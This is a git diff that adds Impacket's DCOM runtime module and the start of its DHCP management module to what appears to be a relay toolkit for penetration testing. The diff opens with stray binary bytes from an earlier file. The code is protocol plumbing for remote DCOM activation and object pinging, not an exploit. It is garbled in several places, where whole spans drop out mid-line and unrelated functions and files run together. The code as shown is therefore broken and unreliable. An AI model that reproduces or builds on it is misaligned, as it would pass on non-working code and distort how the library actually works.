\x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00" + #encodingUnit = ENCODING_UNIT(instanceMyClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py new file mode 100644 index 0000000..cf7651b --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py @@ -0,0 +1,1903 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-DCOM] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# ToDo: +# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine +# for each call, making it slower. +# +# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if +# not used, returning RPC_E_DISCONNECTED +# +from __future__ import division +from __future__ import print_function +import socket +from struct import pack +from threading import Timer, currentThread + +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ + UUID, WIDESTR, NULL +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin, generate +from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \ + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException +from impacket.dcerpc.v5 import transport + +CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046') +CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046') +CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046') +CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046') +CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046') +CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046') +CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046') +CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046') +CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046') +CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046') +CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046') +IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0')) +IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0')) +IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0')) +IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0')) +IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0')) +IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0')) +IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) +IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1 OID +OID = ULONGLONG + +class OID_ARRAY(NDRUniConformantArray): + item = OID + +class POID_ARRAY(NDRPOINTER): + referent = ( + ('Data', OID_ARRAY), + ) + +# 2.2.2 SETID +SETID = ULONGLONG + +# 2.2.4 error_status_t +error_status_t = ULONG + +# 2.2.6 CID +CID = GUID + +# 2.2.7 CLSID +CLSID = GUID + +# 2.2.8 IID +IID = GUID +PIID = PGUID + +# 2.2.9 IPID +IPID = GUID + +# 2.2.10 OXID +OXID = ULONGLONG + +# 2.2.18 OBJREF +FLAGS_OBJREF_STANDARD = 0x00000001 +FLAGS_OBJREF_HANDLER = 0x00000002 +FLAGS_OBJREF_CUSTOM = 0x00000004 +FLAGS_OBJREF_EXTENDED = 0x00000008 + +# 2.2.18.1 STDOBJREF +SORF_NOPING = 0x00001000 + +# 2.2.20 Context +CTXMSHLFLAGS_BYVAL = 0x00000002 + +# 2.2.20.1 PROPMARSHALHEADER +CPFLAG_PROPAGATE = 0x00000001 +CPFLAG_EXPOSE = 0x00000002 +CPFLAG_ENVOY = 0x00000004 + +# 2.2.22.2.1 InstantiationInfoData +ACTVFLAGS_DISABLE_AAA = 0x00000002 +ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004 +ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008 +ACTVFLAGS_NO_FAILURE_LOG = 0x00000020 + +# 2.2.22.2.2 SpecialPropertiesData +SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001 + +# 2.2.28.1 IDL Range Constants +MAX_REQUESTED_INTERFACES = 0x8000 +MAX_REQUESTED_PROTSEQS = 0x8000 +MIN_ACTPROP_LIMIT = 1 +MAX_ACTPROP_LIMIT = 10 + +################################################################################ +# STRUCTURES +################################################################################ +class handle_t(NDRSTRUCT): + structure = ( + ('context_handle_attributes',ULONG), + ('context_handle_uuid',UUID), + ) + + def __init__(self, data=None, isNDR64=False): + NDRSTRUCT.__init__(self, data, isNDR64) + self['context_handle_uuid'] = b'\x00'*16 + + def isNull(self): + return self['context_handle_uuid'] == b'\x00'*16 + +# 2.2.11 COMVERSION +class COMVERSION(NDRSTRUCT): + structure = ( + ('MajorVersion',USHORT), + ('MinorVersion',USHORT), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['MajorVersion'] = 5 + self['MinorVersion'] = 7 + +class PCOMVERSION(NDRPOINTER): + referent = ( + ('Data', COMVERSION), + ) + +# 2.2.13.1 ORPC_EXTENT +# This MUST contain an array of bytes that form the extent data. +# The array size MUST be a multiple of 8 for alignment reasons. +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class ORPC_EXTENT(NDRSTRUCT): + structure = ( + ('id',GUID), + ('size',ULONG), + ('data',BYTE_ARRAY), + ) + +# 2.2.13.2 ORPC_EXTENT_ARRAY +# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons. +class PORPC_EXTENT(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT), + ) + +class EXTENT_ARRAY(NDRUniConformantArray): + item = PORPC_EXTENT + +class PEXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', EXTENT_ARRAY), + ) + +class ORPC_EXTENT_ARRAY(NDRSTRUCT): + structure = ( + ('size',ULONG), + ('reserved',ULONG), + ('extent',PEXTENT_ARRAY), + ) + +class PORPC_EXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT_ARRAY), + ) + +# 2.2.13.3 ORPCTHIS +class ORPCTHIS(NDRSTRUCT): + structure = ( + ('version',COMVERSION), + ('flags',ULONG), + ('reserved1',ULONG), + ('cid',CID), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.13.4 ORPCTHAT +class ORPCTHAT(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.14 MInterfacePointer +class MInterfacePointer(NDRSTRUCT): + structure = ( + ('ulCntData',ULONG), + ('abData',BYTE_ARRAY), + ) + +# 2.2.15 PMInterfacePointerInternal +class PMInterfacePointerInternal(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +# 2.2.16 PMInterfacePointer +class PMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +class PPMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', PMInterfacePointer), + ) + +# 2.2.18 OBJREF +class OBJREF(NDRSTRUCT): + commonHdr = ( + ('signature',ULONG), + ('flags',ULONG), + ('iid',GUID), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['signature'] = 0x574F454D + +# 2.2.18.1 STDOBJREF +class STDOBJREF(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('cPublicRefs',ULONG), + ('oxid',OXID), + ('oid',OID), + ('ipid',IPID), + ) + +# 2.2.18.4 OBJREF_STANDARD +class OBJREF_STANDARD(OBJREF): + structure = ( + ('std',STDOBJREF), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_STANDARD + +# 2.2.18.5 OBJREF_HANDLER +class OBJREF_HANDLER(OBJREF): + structure = ( + ('std',STDOBJREF), + ('clsid',CLSID), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_HANDLER + +# 2.2.18.6 OBJREF_CUSTOM +class OBJREF_CUSTOM(OBJREF): + structure = ( + ('clsid',CLSID), + ('cbExtension',ULONG), + ('ObjectReferenceSize',ULONG), + ('pObjectData',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_CUSTOM + +# 2.2.18.8 DATAELEMENT +class DATAELEMENT(NDRSTRUCT): + structure = ( + ('dataID',GUID), + ('cbSize',ULONG), + ('cbRounded',ULONG), + ('Data',':'), + ) + +class DUALSTRINGARRAYPACKED(NDRSTRUCT): + structure = ( + ('wNumEntries',USHORT), + ('wSecurityOffset',USHORT), + ('aStringArray',':'), + ) + def getDataLen(self, data, offset=0): + return self['wNumEntries']*2 + +# 2.2.18.7 OBJREF_EXTENDED +class OBJREF_EXTENDED(OBJREF): + structure = ( + ('std',STDOBJREF), + ('Signature1',ULONG), + ('saResAddr',DUALSTRINGARRAYPACKED), + ('nElms',ULONG), + ('Signature2',ULONG), + ('ElmArray',DATAELEMENT), + ) + def __init__(self, data = None, isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_EXTENDED + self['Signature1'] = 0x4E535956 + self['Signature1'] = 0x4E535956 + self['nElms'] = 0x4E535956 + +# 2.2.19 DUALSTRINGARRAY +class USHORT_ARRAY(NDRUniConformantArray): + item = ' 0 or len(deletedOids) > 0: + if 'setid' in DCOMConnection.OID_SET[target]: + setId = DCOMConnection.OID_SET[target]['setid'] + else: + setId = 0 + resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids) + DCOMConnection.OID_SET[target]['oids'] -= deletedOids + DCOMConnection.OID_SET[target]['oids'] |= addedOids + DCOMConnection.OID_SET[target]['setid'] = resp['pSetId'] + else: + objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid']) + except Exception as e: + # There might be exceptions when sending packets + # We should try to continue tho. + LOG.error(str(e)) + pass + + DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception as e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initTimer(self): + if self.__oxidResolver is True: + if DCOMConnection.PINGTIMER is None: + DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception as e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initConnection(self): + stringBinding = r'ncacn_ip_tcp:%s' % self.__target + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, self.__TGT, self.__TGS) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__portmap = rpctransport.get_dce_rpc() + self.__portmap.set_auth_level(self.__authLevel) + if self.__doKerberos is True: + self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__portmap.connect() + DCOMConnection.PORTMAPS[self.__target] = self.__portmap + + def CoCreateInstanceEx(self, clsid, iid): + scm = IRemoteSCMActivator(self.__portmap) + iInterface = scm.RemoteCreateInstance(clsid, iid) + self.initTimer() + return iInterface + + def get_dce_rpc(self): + return DCOMConnection.PORTMAPS[self.__target] + + def disconnect(self): + if DCOMConnection.PINGTIMER is not None: + del(DCOMConnection.PORTMAPS[self.__target]) + del(DCOMConnection.OID_SET[self.__target]) + if len(DCOMConnection.PORTMAPS) == 0: + # This means there are no more clients using this object, kill it + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + if self.__target in INTERFACE.CONNECTIONS: + del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) + self.__portmap.disconnect() + #print INTERFACE.CONNECTIONS + +class CLASS_INSTANCE: + def __init__(self, ORPCthis, stringBinding): + self.__stringBindings = stringBinding + self.__ORPCthis = ORPCthis + self.__authType = RPC_C_AUTHN_WINNT + self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + def get_ORPCthis(self): + return self.__ORPCthis + def get_string_bindings(self): + return self.__stringBindings + def get_auth_level(self): + if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: + if self.__authType == RPC_C_AUTHN_WINNT: + return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + else: + return RPC_C_AUTHN_LEVEL_PKT_PRIVACY + return self.__authLevel + def set_auth_level(self, level): + self.__authLevel = level + def get_auth_type(self): + return self.__authType + def set_auth_type(self, authType): + self.__authType = authType + + +class INTERFACE: + # class variable holding the transport connections, organized by target IP + CONNECTIONS = {} + + def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None, + interfaceInstance=None): + if interfaceInstance is not None: + self.__target = interfaceInstance.get_target() + self.__iPid = interfaceInstance.get_iPid() + self.__oid = interfaceInstance.get_oid() + self.__oxid = interfaceInstance.get_oxid() + self.__cinstance = interfaceInstance.get_cinstance() + self.__objRef = interfaceInstance.get_objRef() + self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown() + else: + if target is None: + raise Exception('No target') + self.__target = target + self.__iPid = iPid + self.__oid = oid + self.__oxid = oxid + self.__cinstance = cinstance + self.__objRef = objRef + self.__ipidRemUnknown = ipidRemUnknown + # We gotta check if we have a container inside our connection list, if not, create + if (self.__target in INTERFACE.CONNECTIONS) is not True: + INTERFACE.CONNECTIONS[self.__target] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} + + if objRef is not None: + self.process_interface(objRef) + + def process_interface(self, data): + objRefType = OBJREF(data)['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(data) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(data) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(data) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(data) + else: + LOG.error("Unknown OBJREF Type! 0x%x" % objRefType) + + if objRefType != FLAGS_OBJREF_CUSTOM: + if objRef['std']['flags'] & SORF_NOPING == 0: + DCOMConnection.addOid(self.__target, objRef['std']['oid']) + self.__iPid = objRef['std']['ipid'] + self.__oid = objRef['std']['oid'] + self.__oxid = objRef['std']['oxid'] + if self.__oxid is None: + objRef.dump() + raise Exception('OXID is None') + + def get_oxid(self): + return self.__oxid + + def set_oxid(self, oxid): + self.__oxid = oxid + + def get_oid(self): + return self.__oid + + def set_oid(self, oid): + self.__oid = oid + + def get_target(self): + return self.__target + + def get_iPid(self): + return self.__iPid + + def set_iPid(self, iPid): + self.__iPid = iPid + + def get_objRef(self): + return self.__objRef + + def set_objRef(self, objRef): + self.__objRef = objRef + + def get_ipidRemUnknown(self): + return self.__ipidRemUnknown + + def get_dce_rpc(self): + return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] + + def get_cinstance(self): + return self.__cinstance + + def set_cinstance(self, cinstance): + self.__cinstance = cinstance + + def is_fdqn(self): + # I will assume the following + # If I can't socket.inet_aton() then it's not an IPv4 address + # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be + # an FQDN with ':' + # Is it isn't both, then it is a FDQN + try: + socket.inet_aton(self.__target) + except: + # Not an IPv4 + try: + self.__target.index(':') + except: + # Not an IPv6, it's a FDQN + return True + return False + + + def connect(self, iid = None): + if (self.__target in INTERFACE.CONNECTIONS) is True: + if currentThread().getName() in INTERFACE.CONNECTIONS[self.__target] and \ + (self.__oxid in INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) is True: + dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] + currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] + if currentBinding == iid: + # We don't need to alter_ctx + pass + else: + newDce = dce.alter_ctx(iid) + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + else: + stringBindings = self.get_cinstance().get_string_bindings() + # No OXID present, we should create a new connection and store it + stringBinding = None + isTargetFDQN = self.is_fdqn() + LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN)) + for strBinding in stringBindings: + # Here, depending on the get_target() value several things can happen + # 1) it's an IPv4 address + # 2) it's an IPv6 address + # 3) it's a NetBios Name + # we should handle all this cases accordingly + # Does this match exactly what get_target() returns? + LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr']) + if strBinding['wTowerId'] == 7: + # If there's port information, let's strip it for now. + if strBinding['aNetworkAddr'].find('[') >= 0: + binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') + bindingPort = '[' + bindingPort + else: + binding = strBinding['aNetworkAddr'] + bindingPort = '' + + if binding.upper().find(self.get_target().upper()) >= 0: + stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] + break + # If get_target() is a FQDN, does it match the hostname? + elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: + # Here we replace the aNetworkAddr with self.get_target() + # This is to help resolving the target system name. + # self.get_target() has been resolved already otherwise we wouldn't be here whereas + # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver + # with the right suffixes it will probably not resolve right. + stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort) + break + + LOG.debug('StringBinding chosen: %s' % stringBinding) + if stringBinding is None: + # Something wen't wrong, let's just report it + raise Exception('Can\'t find a valid stringBinding to connect') + + dcomInterface = transport.DCERPCTransportFactory(stringBinding) + if hasattr(dcomInterface, 'set_credentials'): + # This method exists only for selected protocol sequences. + dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) + dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), + DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) + dcomInterface.set_connect_timeout(300) + dce = dcomInterface.get_dce_rpc() + + if iid is None: + raise Exception('IID is None') + else: + dce.set_auth_level(self.__cinstance.get_auth_level()) + dce.set_auth_type(self.__cinstance.get_auth_type()) + + dce.connect() + + if iid is None: + raise Exception('IID is None') + else: + dce.bind(iid) + + if self.__oxid is None: + #import traceback + #traceback.print_stack() + raise Exception("OXID NONE, something wrong!!!") + + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + else: + # No connection created + raise Exception('No connection created') + + def request(self, req, iid = None, uuid = None): + req['ORPCthis'] = self.get_cinstance().get_ORPCthis() + req['ORPCthis']['flags'] = 0 + self.connect(iid) + dce = self.get_dce_rpc() + try: + resp = dce.request(req, uuid) + except Exception as e: + if str(e).find('RPC_E_DISCONNECTED') >= 0: + msg = str(e) + '\n' + msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n" + msg += "You should exit the app and start again\n" + raise DCERPCException(msg) + else: + raise + return resp + + def disconnect(self): + return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect() + + +# 3.1.1.5.6.1 IRemUnknown Methods +class IRemUnknown(INTERFACE): + def __init__(self, interface): + self._iid = IID_IRemUnknown + #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(), + # interface.get_iPid(), target=interface.get_target()) + INTERFACE.__init__(self, interfaceInstance=interface) + self.set_oxid(interface.get_oxid()) + + def RemQueryInterface(self, cRefs, iids): + # For now, it only supports a single IID + request = RemQueryInterface() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['ripid'] = self.get_iPid() + request['cRefs'] = cRefs + request['cIids'] = len(iids) + for iid in iids: + _iid = IID() + _iid['Data'] = iid + request['iids'].append(_iid) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + #resp.dump() + + return IRemUnknown2( + INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'], + oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'], + target=self.get_target())) + + def RemAddRef(self): + request = RemAddRef() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + return resp + + def RemRelease(self): + request = RemRelease() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + DCOMConnection.delOid(self.get_target(), self.get_oid()) + return resp + +# 3.1.1.5.7 IRemUnknown2 Interface +class IRemUnknown2(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self, interface) + self._iid = IID_IRemUnknown2 + +# 3.1.2.5.1 IObjectExporter Methods +class IObjectExporter: + def __init__(self, dce): + self.__portmap = dce + + # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0) + def ResolveOxid(self, pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = b''.join(pack(' 0: + for oid in addToSet: + oidn = OID() + oidn['Data'] = oid + request['AddToSet'].append(oidn) + else: + request['AddToSet'] = NULL + + if len(delFromSet) > 0: + for oid in delFromSet: + oidn = OID() + oidn['Data'] = oid + request['DelFromSet'].append(oidn) + else: + request['DelFromSet'] = NULL + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3) + def ServerAlive(self): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ServerAlive() + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4) + def ResolveOxid2(self,pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid2() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = b''.join(pack('. +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from impacket import system_errors +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD +from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_DHCPSRV = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F874532D', '1.0')) +MSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0')) + + +class DCERPCSessionError(DCERPCException): + ERROR_MESSAGES = { + 0x00004E2D: ("ERROR_DHCP_JET_ERROR", "An error occurred while accessing the DHCP server database."), + 0x00004E25: ("ERROR_DHCP_SUBNET_NOT_PRESENT", "The specified IPv4 subnet does not exist."), + 0x00004E54: ("ERROR_DHCP_SUBNET_EXISTS", "The IPv4 scope parameters are incorrect. Either the IPv4 scope already" + " exists, corresponding to the SubnetAddress and SubnetMask members of " + "the structure DHCP_SUBNET_INFO (section 2.2.1.2.8), or there is a " + "range overlap of IPv4 addresses between those associated with the " + "SubnetAddress and SubnetMask fields of the new IPv4 scope and the " + "subnet address and mask of an already existing IPv4 scope"), + + } + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + elif key in self.ERROR_MESSAGES: + error_msg_short = self.ERROR_MESSAGES[key][0] + error_msg_verbose = self.ERROR_MESSAGES[key][1] + return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DHCPM SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +DHCP_SRV_HANDLE = LPWSTR +DHCP_IP_ADDRESS = DWORD +DHCP_IP_MASK = DWORD +DHCP_OPTION_ID = DWORD + +# DHCP enumeratiom flags +DHCP_FLAGS_OPTION_DEFAULT = 0x00000000 +DHCP_FLAGS_OPTION_IS_VENDOR = 0x00000003 + +# Errors +ERROR_DHCP_JET_ERROR = 0x00004E2D 